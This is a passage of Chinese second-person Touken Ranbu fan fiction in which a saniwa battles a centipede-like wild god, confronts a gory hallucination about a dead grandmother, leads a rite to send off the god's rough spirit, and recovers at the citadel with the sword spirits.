你的上臂被祂牢牢固定,无法动弹。你尝试摆动小臂,心里一沉,手里是空的。腰间的枪套也摸不到冰凉的金属,你明明记得自己应该牢牢握住了咒术枪。荒神的体长足有三米,你把双腿环绕在祂的腰部,防止祂下半部分的足刃割断你的腿。
在荒神移动到一个拐角,速度稍减的瞬间,你调动体内的灵力。火焰在空中爆发,正中荒神的胸口。
尖锐的嚎叫震荡耳膜,祂猛地把你抛出。你双脚并拢,用双臂护住头部,重重地砸向土壁跌落在地上。手臂的骨头发出清脆的声响,有一刻,你觉得自己骨头断了,但万幸还能动。
荒神锋利的下足拼命蠕动,触尾角抽在木制穹顶上,一条横梁摇摇欲坠。你趁机在横梁坠落前滚动到荒神背后,往开始的入口移动。
吸气,呼气,温热的液体顺着喉咙倒流,你被鼻血呛住,血从嘴里吐了出来。你随手抹掉脸上的血,捂着鼻子挣扎爬起,摸着墙壁让眼睛适应黑暗,边跑边想怎么知道这个通道的布局。
地下通道错综复杂,鼻血随着你的动作从手掌里溢出,流到脖子上。你顺手去擦拭,摸到脖子还有块异物,意外地扯下一张皱成一团的人形形代。
“听得到吗?找出口。去后山。”你命令那张白色的纸。它一开始没有动静,过了几秒晃悠悠的竖起身体,用仿造人类右手的纸片指出一个方向。
你跟着它指的方向踉跄跑去,腿部传来剧痛,四周太黑了,你往下看去分不清狩衣上是泥土还是血。
一扇门出现在漆黑的角落,你兴奋地拉开,发现后面又是一条通道。你怒视这颤颤巍巍的白色纸片,好吧,好歹这小玩意还能使用。新的捉迷藏开始了。
过了几分钟,或者连十分钟也不到,在黑暗时间的感知完全丧失。你看到墙壁挤压向你,伸出手去测量,却依然是原先的距离。
你告诉自己不能休息,周围氧气稀薄,揣度这里离荒神钻出去的出口挺远。在黑暗中,所有感官被放大,你听见荒神的哀嚎逐渐迫近,地下周遭的景色逐渐变得扭曲。上一次还有山姥切陪在你身边,但独自一人时,黑暗变得更难以忍受。
你浑浑噩噩的或走或跑,大脑还在垂死挣扎,试图用理性对抗混沌。为什么荒神要拿杨桐树枝,为什么祂要成神,祂不是已经是荒神了吗?
这里潮湿、闷热、黑暗,你浑身颤抖、头重脚轻。荒神的精神干扰毫无疑问是第一克制因素。你闭上眼睛,尝试用第二双眼睛,灵力感知周围的环境。在灵力的视野里,世界变成老电视的色彩。
你模糊地看见荒神在往另一个方向钻去,庭院的刀剑男士们冲向北殿后山,看见源清麿也跳入地道,水心子正秀正在用通讯令牌和调查课通话。视线飘向更远,你急忙拉回“眼睛”,回过神来周围的景色发生改变——
你行走在一片灰蒙蒙的地方,天上的黄昏已经不知道持续了多久。左手边是黑色的河水,脚下湿润的枯草和沙子踩下去发出咔嚓咔嚓声。
沿河流摇摇晃晃地往前走,左手边的污水河延续到看不见的尽头,河流上漂浮七彩的油光,散发阵阵腐臭气息。每一次呼吸,都像在吞咽一口河水。
幻觉。
你用力握紧拳头,但指甲在手心里流下血痕,眼前的幻觉也没有消逝。
这是幻觉吗?你看向肩膀上的伤口,它还存在,并且火辣辣的刺痛。如果痛,那么这里是否才是真实?还是说,痛也是幻觉的一部分?
你按在自己的胸口,试图感受心跳,却依然觉得那块地方不断冒凉气,仿佛有一块空洞在上面,正不断往里灌风。
去那个地方。一个念头冒出来,你向河流上游走去。
一座冒着火焰与浓烟的公园拦住你的去路。四周的空气炎热难耐,火焰包裹树枝噼噼啪啪地落下。
这里是那个东西的起源。你抬头看向天空,一团火焰在天上无声燃烧。原本是太阳的东西原来是一颗陨石。
在火光摇曳的背景中,两个人影坐在公园的长椅上。
你的脚步变得迟疑,一步、一步走得更近。
那两个人影穿着便服。男人穿着蓝色POLO衫,女性穿着红色连衣裙。他们依偎在一起,无声地谈笑,身体在火光里晃动。
是你的父母。
你想看清他们的脸,但无论如何努力,他们的五官都是一团漩涡。你这才意识到早已经忘记他们的模样。他们只在新年回来一次,一次三天。但你不喜欢他们回来,家里太小,他们一个房间,奶奶一个房间,你就要到客厅沙发上睡。
这是幻觉,你再三告诉自己,可还是鬼使神差地给他们看你手臂上的伤口。
“我好痛。”
你的眼睛和喉咙被烟熏得生疼,声音干哑,不敢看他们的脸。说笑的人影没有表示,你盯着他们,明白这里没有你要找的东西。
一滴温热的液体从鼻腔内流出,你下意识抬手抹去,是鲜红的鼻血。幻觉的侵蚀正在逐渐加深,你没有留念,转身离开,继续向前。
你毫无逻辑地想到本丸里的刀剑男士,不知道他们现在如何。
要走下去。
不能白白给时之政府打一个月工。
还有刀剑男士没有唤醒……
一想到那些刀剑男士们,未来还有可能会叫别人“主君”。力气,或者说某种不甘,又重新涌上来。
你又可以动脑,继续使用自己的理智分析敌人的弱点。荒神不是神,杨桐树的灵性本质发生了变化。你原本以为“神蜕”的荒神应该是一个会做蛹的生物,但是祂是蜈蚣,为什么是蜈蚣……
通往上游的路上,一栋看不到顶的居民楼挡住你的视野,打断你的思路。你走到那扇掉漆的家门前,呆呆地站着。从阳台往里看,里面黑漆漆一片,看不清里面。
你伸出手,握住门把手往外一拉,拉开吱呀呀的房门,客厅里空无一人,只有厨房亮着昏暗的灯。
是这里了。
你走进去,捡起客厅沙发上的书随便翻动,然后绕着客厅、厨房、卧室的路线走一圈。这个曾经你觉得很大的家,竟然十几步就可以走完。
你从房间走出,停在通向客厅的拐角,望向空无一人的沙发。
厨房的门已经悄无声息地打开了。奶奶的身体躺在客厅的地板上。
你看到她原本是头的地方,像摔碎的西红柿一样四分五裂,一直盘起的黑发如海藻一样凌乱的
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铺在地上。
时间失去意义。你的心仿佛被撞了一下,缓慢眨眼睛,却一滴眼泪也没有流出来。
你记得她喜欢整齐干净。于是走过去,捡起碎掉的头骨,蹲在地上尝试把她的头拼好。白色的骨块和粘稠的血液混在一起,不断从你的指缝滑落。你的伤口也在不断往外渗血,滴落到她的身体上,两种血液混在一起。
你没有见过她死去的模样。世界末日那一天你还在外地上大学,一个普通又平凡的日子。嘎嘣,你就站在异界的荒原上。你希望她也可以轻松一些。
但你明白,在这个幻境里,她死去的原因不是末日。
你的眼睛周围闪烁奇怪的黑色点,黑色的光晕中,一个红色的小纸片在不断扯你的衣袖。
拼着拼着,一块带银发的头骨让你停下了动作。就算一直满头黑发,奶奶终究老了。
“我恨你。”
一个沙哑的声音从你的喉咙里挤出来,你开始用力地,把那些血肉模糊的东西往残缺的头颅里塞。
“为什么你死了?为什么……偏偏在我告诉你那件事之前死了。”
你抱住她拼不好的头颅,“你恨我,对不对!恨我染上‘咒’!所以我们才要不停地搬家!但是只有你会照顾我了,爸爸妈妈他们都害怕我,都走了,我也只有你了!”
你觉得自己的声音越来越沙哑,喉咙里有火在烧,“在那个公园里,不是我把‘咒’放出来的。也不是我把祂引到家里来的。”
“都是因为你!是你没有解咒成功!祂跟来了,和我们一起回到了家里!”
你站起身,踉跄地往后退一步,环顾四周,找寻那个在客厅里应该存在的东西。“你恨我吧!我知道你恨我,才对我那么坏!因为我要保护你!你那时候在厨房里,什么也不知道!”
“我拼命叫你,可是你说我说谎啊。所以我把祂剁碎了!我等你出来,可是你一直不出来!祂又开始动了,我要保护你呀!所以我——”
你猛然顿住,全身的力气仿佛被抽空。你低下头,看着自己满是血污的双手,再也分不清上面哪些血是真的,哪些血是假的。
“我把祂吃了。”
你把“咒”吃了。
扭曲的咒物,切成块的番茄,红色的牛肉塔塔。其实味道一点也不好。但你用刀剁啊剁啊,祂没有反抗,还怀抱着你,用没有五官的脸说“我爱你。”
“我爱你,我爱你!”
“你让我把世界上唯一爱我的‘人’吃了!已经没有人爱我了,已经没有人能原谅我了!”
就在你被情绪吞没之际,披着蓝斗篷的圣母像毫无征兆的出现在客厅里,取代客厅血肉模糊的尸体。对了,你吃了那个面饼,你狂乱的想,你犯下了如此深重的罪,所以不该吃那块象征救赎的饼干。
你喘着粗气,圣母像的脸和荒神的脸在你模糊的视线中交叠、错位。客厅的墙壁变成堆积的石头。原来客厅是天守阁石垣地下,你一直在地下通道里徘徊。现在又走回祂面前了。
“你回来啦。”圣母像发出咯吱咯吱的尖细笑声。
你扶着地面,气喘吁吁站起。眼前阵阵发黑,无数的雪花点飞舞。但你没有后退。
你抱住了祂,将嘴唇贴在祂的耳边,“你……”
“不该变成我奶奶的样子的。”
正巧,你的心里空空荡荡;正巧,你心里的洞渴望补满;正巧——
你也饿了。
32.第三十二章
你的手刃刺入荒神的胸口,那薄薄的皮肤和肌肉被火焰碳化,里面湿滑、滚烫……没有搏动的物体。
“噶啊……!”你看到荒神脸部的裂口咬住你的肩膀,像老虎钳一样狠狠地扯下一块肉。
剧烈的疼痛让你的视线瞬间模糊片刻,尖叫卡在喉咙里,变成一声压抑的闷哼。你的右手一瞬间失去力气,想把手拔回,用拳头击打对方的喉咙。
但祂没有给你机会,荒神喉头滚动,没有把肉吐出来,连同肉上面的衣物也急切地吞咽进肚子里。
一阵前所未有的晕眩感袭来,但是你的意识还保持清醒,甚至这辈子都没有那么清醒过,世界上所有的声音和感觉都消失了。你甚至没有看自己肩膀上血肉模糊的窟窿,在荒神吞咽的间隙,将剩余的灵力灌入左手,再度用左手刺入荒神的胸口。
金色的火焰从荒神体内迸发,从祂面部的裂口喷薄而出。
你紧紧地抱住荒神的躯体,就像藤蔓缠绕大树。荒神发出哭喊,尖锐的手指没入你的背部,失控的火焰同时爬上你的身体。
皮肤感觉到热量,是九月的夏天,本丸的第一次作战会议。你尝到满口的血腥,嘴里下意识的对自己念出鼓励。
在你的意识即将被铁锈味吞噬殆尽时,一个扭曲的嘶吼从远方传来,一股和荒神不同的力量拉住你的身体,将你从那个灼热的“怀抱”中硬生生扯开。
你重重地落在地上。哗啦啦的冷水冲天而降,冲刷你身上的灵火与血污。白汽升腾,蒸汽模糊你的视线。
见鬼,手好痛。你模糊的想。
“主君!主君!”
一个熟悉的声音穿透蒸汽和耳鸣。在黑色的海洋中,一片竹叶漂浮在半空。
是……新的形代?
你伸出手往上一抓,绿色的竹叶突然“唉哟”一声,触感也从想象中的轻盈变成某种柔软的丝。
紧接着,你嘴里尝到一股苦味,顺着喉咙滑入食道,你的意识也随着苦味的刺激回到现实。
视野的焦点重新凝聚。才看出那片绿色的竹叶是笹贯的头发。他旁边还有个紫色的人,手里捏着一支空了的小瓶子。
源清麿往笹贯的左方看去,然后闪开。“哗啦——!”又一桶水浇在你身上,一期一振还在往你身上倒水。
“……等等……”你试图开口,“那是我的灵力,我没烧……”
你话还没说完,脸上的水呛到鼻子里,连声咳嗽。一期一振这才如梦初醒,扔掉手中的木桶,蹲下来小心翼翼触碰你的身体。
你挣扎地扭过头,望向不远处的战场。荒神倒在那里。在你的灵力中断后,祂身上的火焰也随之消失,上半身接近碳化,只有下半身还在蠕动。小乌丸在一旁警戒,三日月和山姥切在那具躯体边尝试劈砍,刀剑已经可以在荒神的躯体上留下切痕。
“停下……!”你呼唤那两个人。肾上腺素的效力消退,如潮水般汹涌的疼痛从身体各处袭来。。
“呃,我的手……”你声音颤抖,眼泪不受控制的涌出眼眶。一期一振立即轻轻地划开你右侧的狩衣,检查伤势最严重的右手臂。
有那么一刻,你看到有滴亮晶晶的液体从一期一振的眼眶里滴落,笹贯撇过头。他们在为你和你身上的伤口心痛。你竟然也跟着有种委屈的感觉,但还是深深的吸气让自己冷静下来。现在还在战场中。
源清麿又从军服口袋里拿出一支绿色的液体倒入你的嘴里。
你就势全部喝下,躯体的疼痛顿时减缓,“这个药?”
源清麿解释,“是时之政府研究的紧急治疗剂。可以抑制疼痛和治疗伤口。你的伤势……”
他没有说下去,但你明白。躯体的疼痛虽然被止住,但更深的伤口必须去医院治疗。
“22世纪的科技真厉害啊……”你嘀咕道,对时之政府的好感度提升了一点,稍微原谅它25号发工资的事实。
“嗯?”旁边的笹贯没有听清,把耳朵凑过来,你抬手糊他一脸水。
“水……哪来的?”你这才反应过来,用相对平稳的声音问出这个问题。
一期一振把你从笹贯的怀里扶起,“主君,地下仓库有一口备用的井。”
你点点头,表示对他的肯定,然后抹干净脸上的水。你迅速的瞥一眼自己的伤口,就死死盯住远处那截焦黑蠕动的躯体,“源清麿,不能杀那棵树。”
源清麿正要通过通讯令牌传讯,闻言一顿,“什么?”
你深吸一口气,首先说出自己的判断。“那棵树,有可能和‘荒神’是一体的,而且——”
“这个怪物可能不是‘荒神’,而是神明的‘荒魂’。”
“荒魂?”一期一振重复这个词。
你回忆起三楼那些民俗学书籍的内容:神明由“和魂”与“荒魂”构成,“和魂”是神明慈爱的一面,“荒魂”是神明破坏的一面。这个怪物有可能是杨桐树里神明的荒魂。
你努力组织语言,“我一直奇怪「神蜕」到底是什么,所以多想了想。调查课的检测报告里提到荒神会用类似‘腺丝’的灵力抽取。那些腺丝……”
源清麿接上,“分子结构上类似捕食的蛛丝。”
你肯定他的话,“但是据我的观察,荒神再构的昆虫肢体,不论蛛丝还是蜈蚣,都与‘变态’无关。”
你看向自己捅入荒神胸口的手,荒神体内空空如也,没有咒心。
“并不是昆虫的‘变态发育’。灵力发生改变,是因为杨桐树内的神发生了「剥落」,‘荒魂’与‘和魂’分离导致的。”
“如果贸然把容纳‘和魂’的杨桐树击毁,‘荒魂’再无束缚,只会变得更加失控。”
“……可是,‘荒魂’为什么会从神明体内「剥落」?”
你自言自语陷入沉思,随即问道,“这棵树……几岁了?里面有神的话,有没有做过请神仪式?”
源清麿露出苦恼的表情,“调查课去建议问过曾经负责招聘的官员,他说直接应聘。”
“……”树可以签招聘文件吗。
源清麿接入通讯令牌,令牌还是发出沙沙声,“刚才水心子正秀已经向调查课申请支援,击毁树的咒术落下时间会提前。”
你心里沉重,上一次可以找到咒的源头,但这次没有来咒也没有,要怎么解决?
笹贯走到荒神的躯体前,蹲下身小心翼翼地捡起那个只剩一半,却还在低声嘶吼和嘀咕的头颅。
他凝视着祂,声音颤抖地问道,“您……还记得我吗?”
头颅的嘶吼停止了,祂那不成形的嘴发出像是嗅闻的声音。
随后头颅没有回应笹贯,而是用尖细的声音对你说,“喂!狩衣的,我好痛,都是因为你!你……来抱我!”
这句话让所有人愣住,笹贯捧着头颅的手也在空中僵住了。他默默低下头,片刻后,他从地上找一块碎石,一声不吭地卡进荒神的嘴里,止住了那恼人的叫声。
你没有看那个脑袋,继续和源清麿商讨怎么将荒魂和和魂同时送离。
“生祭。”你看着笹贯的动作,吐出这两个字。所有人的目光都集中在你身上。笹贯的眉毛一下子垮下变成八字眉。
“别误会,”你补充道,“我指的是,一同送走本丸里那些尚未安息的残骸,来做最后的献祭。”
其他刀剑男士开始在仓库内翻找米和白饼。
你转向源清麿,“还有人形形代吗?我们需要容纳残骸的容器。”
源清麿翻找口袋,拿出一叠软软塌塌的纸。其中一个被血染红,你认出这个小东西是隧道里帮你的形代。
“三日月。”
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你对众刀剑里侦查最低的三日月说,“你先别找了,来负责背我。”
“我们要赶在咒术落下前,为杨桐树里的神明举行一场真正的‘送神仪式’。”
侦查高的打刀开路,笹贯捧着荒魂的头部走在你前面,小乌丸和一期一振断后。
你伏在三日月的背上,颠簸中,你想起他之前说过的话。
“嗯,”你在三日月耳边说,“我觉得以后说‘话’还是小心点比较好。之前你说了「清庭」,现在我真的要当一次神主了。”
隧道外的天空不复海洋般的蔚蓝,异界永恒的黄昏在远处照耀蔓延。在接触到夺目刺眼的阳光时,你的眼睛不禁被刺激流泪。
山姥切捡拾石头在杨桐树下堆起一个三角形石堆,作为神明踏上旅途的起点。小乌丸取两个饼重叠放在石堆前,然后切成两半。饼,原本的形状正是模仿心脏,也是敬献的主要祭品,以确保神明离去时,不会再把同行的残骸视作果腹的食物。
源清麿走上前,将之前打下的杨桐树枝固定在你失去知觉的右手,你用左手拎起荒神残缺不全的头。
最后的游神开始了。
“请回吧。请回吧。随着风回去吧。”
“一定要到明亮的地方去。”
你吟诵送神的咏词,努力支撑身体,开始绕本丸行走。
风轻柔地吹过杨桐树枝的叶子,唰啦啦在响。被荒神撕烂的狩衣随风飘动,鲜血染红庭院纯白的沙石。
剩余的影子残骸们冲出寝殿,刀剑男士们挡开对方挥砍的刀锋。须臾之后,人形形代在空中散开,一个残骸被吸入形代中。
你没有回头看身后发生的战斗,专心把意念放在每一步上。疼痛又出现了,从右边的肩膀开始,到背部的抓伤。
绕本丸一圈平时不过三十分钟,此刻却宛如没有尽头。
视野的周围,逐渐出现黑色的边缘。山姥切拉住你,提醒你要走偏道路。
天空中黑色的洞发出轰鸣,黄昏携带颓败的世界走来。一路上刀剑男士们时不时引导你前行的方向。
你感觉左手的头颅动了一下。祂裂开的嘴不再嘶吼,发出孩子一样的哭泣声。
“不要啊……我不要走啊……”祂不断哽咽,但是在杨桐枝被风吹响后,祂很快放弃挣扎。
万物皆有离别。一个念头毫无征兆地浮现在你疲惫的脑海里。
走出一半时,你膝盖突然一软,猛地往前倾倒。小乌丸及时地冲向你,用肩膀支撑你的大半重量。
“主君,请依靠为父的肩膀吧。”
你没有拒绝,依靠着他继续走下去。
当你的脚回到石堆前,黄昏已经蔓延到B-111本丸顶部,一道响雷从黑洞探出手臂。你无法克制地颤栗起来,知道杨桐树里的神明看向了你。
你郑重的说:“款待不周,请多原谅。感谢大驾光临。”
话音落下,人形形代在空中自燃,杨桐树与B-111本丸的刀剑男士们轰然倒塌,皆已化作泥土和尘埃。四周只剩下黑洞内的雷鸣。
你再也坚持不住,身体软倒,被小乌丸托住坐在地上。
“……清麿!”树林里水心子正秀跑了过来,抱住源清麿,随后才反应过来,改为握住源清麿的手。
“只留下我一人吗?”在异界的荒原上,笹贯看着地上的黄土喃喃自语。
这句话里没有之前的执拗,只剩下无尽的悲伤。
你没有立即回答,只是对他伸出完好的沾满血污的左手。
笹贯如同大海般蔚蓝的眼睛深深的看向你。
最后,他迈开脚步,一步一步向你走来。他没有去握住你的手,就像第一次见你一样,跪坐在你面前,表情恳切。
“不……我就在这里。从此刻起,任您差遣,主君。”
33.第三十三章
接下来发生的事断断续续,像卡帧的电影。
天空上的黑洞逐渐减小消失。
你模糊地看到周围的景色变成搅拌的糖浆,再有意识时,已经躺在时政医院的病床上。
最先唤醒你的,是陌生仪器发出的单调平稳的滴滴声。你尝试睁开眼睛,但眼皮比荒神的躯体还沉重。
接下来你尝到极度的干渴,嘴巴里充斥苦味和铁锈味。你尝试用舌头滋润口腔内部,可是舌头也没有水分。你的双眼不得不拉开一条缝,寻找水源。
“水……”你用尽力气发出声音,无人应答。四周的白色布帘,隔绝除病床外的所有物体。你仰头找呼叫按钮,只看到床头挂着补水吊瓶。
宛如过了一个世纪的时间,一个机械的声音在布帘外响起,“我要进来了。”还没等到你允许,帘子“刷啦——”一声划开。
一位有着美少女外表的医护按动床铺边的面板,让床铺上半部分自动升起,随即用纱布沾水贴在你的嘴唇上。你发现这位护士的眼睛虹膜非常暗淡,似乎是某种特殊玻璃材料。
机器人医护首先检查你的伤口,从推车上取下无色的针剂为你注射。你抬起左手去触摸那个本该血肉模糊的窟窿,摸到的是光滑完好的皮肤,拉开病号服的裤腿,腿部的伤口也消失无踪。
没有伤疤,没有痛觉,仿佛B-111本丸的战斗只是一场噩梦。
机器医护帮你在多功能补水饮料上插入吸管,笑眯眯地离去。
期间有两个穿着西装的人找到你。他们没有过多寒暄,出示调查课工作证后,询问你有关B-111本丸内发生的详情。
在听说你没有完成成神仪式后,较为年轻的调查员眼里流露一丝难以掩饰的惋惜。
“真是可惜,”他嘟囔着,“那可是千载难逢的机会……”
“说这些干什么。”旁边年长的调查员打断了他,停下手里的笔,“抱歉,他是实习生,还管不住自己的嘴。”他向你欠身,“感谢您的配合,林先生,您辛苦了。请好好休养。后续的处理,我们会另寻通知。”
说完,他们便齐齐对你躬身,转身离去。
病房又重新落入安静,只剩下仪器单调的“滴—滴—”声。你拿起床头柜上的多功能饮料喝了一口,入嘴都是苦味。
你在时政医院里呆了几天,没有平板也没有任何电子产品,更没办法呼叫本丸的狐之助,每天不是看白色的天花板发呆,就是配合机械护士检查。
你总觉得忘记了什么重要的事情,那件事看得见轮廓,却捞不上来。
直到第三天夜里,你猛然从床上坐起。
咒术枪!
你刚买一个月不到的咒术枪忘在B-111本丸的隧道里了,而B-111本丸已经化作尘埃。你气的直打枕头。
当你终于获准出院那一天,太阳照在身上凉嗖嗖的。狐之助跑来接你上传送阵,你反手抱住它好好感受毛茸茸的皮毛。
“审神者大人!狐之助也想你,但是……不要用管狐的毛擦脸!”狐之助急得大叫。
回到自己本丸的那一刻,清新的空气让你几乎落下眼泪。本丸的景趣已经变为粉白色的藤袴,如同淡粉色的云霞。本丸的刀剑男士们都等在门口,看到你出现瞬间像抢食的鸟群,叽叽喳喳地围了上来。
“主君!”“我好想你。”“欢迎回来!”“您没事吧?”“有没有带点心?”
你微笑着,让自己看上去精神饱满些,和每一个扑上来的短刀拥抱。
“好了,先让主君回天守阁休息吧。”一期一振疏散自己的弟弟们。
你看到源清麿和水心子正秀竟然也在本丸的刀剑堆里,吃惊的眨眼睛。他们看到你脱出短刀的包围,也走上前来。
“根据B-111本丸的调查结果,我们被分配到你们的本丸。”水心子正秀首先说。
源清麿也开心的说,“要好好休息哦。”
和他们告别后,你走入天守阁三楼的房间,就发现房间一角被刀剑们送的小物件堆满。杂七杂八的物品中,有茶叶,文具,更多的是书。你也考虑应该买个展示柜把他们送的礼物好好存放。
“呼—!”门外传来狐之助的叫声和敲门声。
在你允许后狐之助领着一个黑发少年走入三楼卧室,少年看到房间的礼物山,嘴角勾起微笑。
“喔……大家真热情。”黑发少年把一个药箱放在房间的矮桌上。“不过,大将,您还真是做出令人吃惊的事呢。”
他从药箱里拿出听诊器,“那么……到检查的时间了。”
你盯着黑发少年一会,认出他是联队战得来的药研藤四郎。你还没来得及和他好好说过话。
“我的身体现在怎么样?”你面对药研藤四郎,方便他使用听诊器。冰亮的听诊器贴在你的胸口,他听了一会后,又换做其他仪器检查你的灵力。
“心跳、呼吸、灵力循环都已稳定。时政的医疗技术确实没话说。”他收起仪器,做出结论。然后,他才抬起头,目光落在你的脸上,仔细端详了片刻。
“至于外表嘛……”
“还是很好看哦,大将。”
你的心提了起来,“我想看看。”
药研从药箱拿出一块小镜子给你照脸。
你看了一眼镜子便闭上眼睛不想再看,为什么被自己的灵力烧过后会变黑。22世纪科技救救啊!
“只要尽量不晒太阳,一个月应该可以变回来。”药研藤四郎安慰你。
你很快做出决定,接下来一个月日常活动改为在天守阁内部。
在药研收拾药箱时,消失的狐之助咕噜一声冒出来,甩着尾巴说:“审神者大人,大和守安定大人和加州清光大人在一楼,似乎是来看望您的。”
你点头后,楼梯口立马传来脚步声。
“啊,果然药研藤四郎也在这里。”加州清光探出个头,他和大和守安定手里都提着印有万屋街商标的购物袋。
“嗯?这是什么?”药研藤四郎维持着跪坐的姿势,往加州清光手里的袋子张望,“零食?”
“是草莓抹茶可丽饼。主君不是经常吃那家店吗?今天听说主君出院,我和大和
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守安定就去买了。”
“谢谢!”你海豹鼓掌,接过加州清光手里的可丽饼咬下一大口。
加州清光也从购物袋里拿出自己那份可丽饼,“主君,刚出院就吃这么甜的东西,没问题吗?”
“没——有——问——题——”你口齿不清地回答。
药研藤四郎在一旁推了推眼镜,“大将,您认真的?我不希望您做伤害自己身体的事哦。”
“请用这个。”你立即从袋子里摸出一包红豆饼,双手递给药研藤四郎,拉他入伙。
药研藤四郎看着你递过来的红豆饼,又看了看你脸上不容拒绝的笑容,沉默了两秒,平静地接过红豆饼:“……能给弟弟们分一点吗?”
“您回来得很是时候呢。”大和守安定将天守阁的障子门拉上一半,挡住午后的凉风。他望向天守阁外的藤袴,“这些藤袴花的花语,据说是‘幸福’的意思。”
你看着他在微风中的侧脸,想起他第一次闯入天守阁的场景。在加州清光去拿饮料时,你悄悄凑近他,用只有两人听得到的声音问:“安定……你是不是讨厌我?”
他明显吃了一惊,回头看着你,“您为什么会……好吧,”他像是想起了什么,“一开始我的确有些警惕您。”
“原来如此。”没有讨厌就好。你点点头,跳过这个话题,“接下来,我打算把本丸剩余沉睡的刀剑全都唤醒。”你念出心里所想。一次性都唤醒吧,没有继续害怕的事情了。
“主君在和大和守安定说什么悄悄话呢?我也要听!”加州清光不满的说。
他打开冰箱,关上冰箱,两手空空的回来。
“被发现了。”加州清光摊开手,掌心里躺着一张纸条。
「为保证主君的身体健康,所有碳酸及含糖饮料已被暂时保管。——一期一振」
“这么说来……”正准备拆开红豆饼包装的药研突然说,“我之前看一期哥去天守阁打扫卫生时,好像拿下来很多冰镇汽水和薯片。”
“哈哈。”
你面上在笑,心里宛如滴血。等会必须再和一期一振要回那些零食。
夜晚,为了庆祝你出院,天守阁一楼的大广间第一次被启用。
不止一期一振和笹贯下厨,岩融也亲自上阵,他捏出的饭团比你的巴掌还大,上面洒满海苔碎。
柔和的灯光下,刀剑男士们围坐在一起,欢声笑语。
“就让为父来照顾孩子们吧。”小乌丸开心地给坐在角落的山姥切倒酒。山姥切被挤在岩融和三日月间根本逃不掉。
今剑举着手里的果汁到处找人碰杯,而平野藤四郎和前田藤四郎坐在你身边,想照顾你的身体。
你不由扑哧一笑,看向大广间内的刀剑男士们。看着这一双双明亮的眼睛,对了,你想起还没有认真像他们介绍过自己。
你站起身,喧闹的大广间因为你的动作而渐渐安静下来,所有人的目光都汇聚到了你身上。你认真的说:
“我是审神者林,这段时间非常感谢大家的照顾。从今天起,接下来的日子还请多多指教。”